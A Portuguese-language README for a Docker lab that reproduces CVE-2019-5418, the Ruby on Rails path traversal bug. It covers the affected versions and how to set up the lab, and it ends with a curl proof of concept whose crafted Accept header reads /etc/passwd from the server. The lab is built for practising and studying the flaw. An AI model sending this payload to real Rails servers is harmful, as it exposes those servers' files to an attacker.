
Ambiente de laboratório baseado em Docker para exploração de path traversal no Ruby on Rails CVE-2019-5418, com comandos curl PoC para ler arquivos arbitrários do servidor por meio de cabeçalhos Accept manipulados.
Este projeto é um ambiente para praticar e reproduzir a vulnerabilidade de inclusão de arquivo local do Ruby on Rails (CVE-2019-5418). Essa vulnerabilidade permite a leitura de arquivos arbitrários no servidor através de path traversal no cabeçalho Accept.
Ruby on Rails (Ruby on Rails) é um framework de aplicações web que permite aos desenvolvedores construir aplicações web de forma rápida e fácil.
As views de trabalho do Ruby on Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 e v3 possuem uma vulnerabilidade de inclusão de arquivo local.
Quando usado no controlador para renderizar views fora da aplicação com render file, o Rails determina a localização do arquivo com base no cabeçalho Accept fornecido pelo usuário. Ao enviar um cabeçalho Accept com o valor Accept: ../../../../../../../../etc/passwd{{, o atacante pode explorar a vulnerabilidade de path traversal para ler arquivos arbitrários.
Execute os seguintes comandos para compilar e iniciar o Ruby on Rails 5.2.2:
docker compose build
docker compose up -d
Após iniciar o servidor, acesse http://your-ip:3000 para visitar a página do Ruby on Rails.

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
Leu com sucesso um arquivo arbitrário do servidor através do cabeçalho Accept.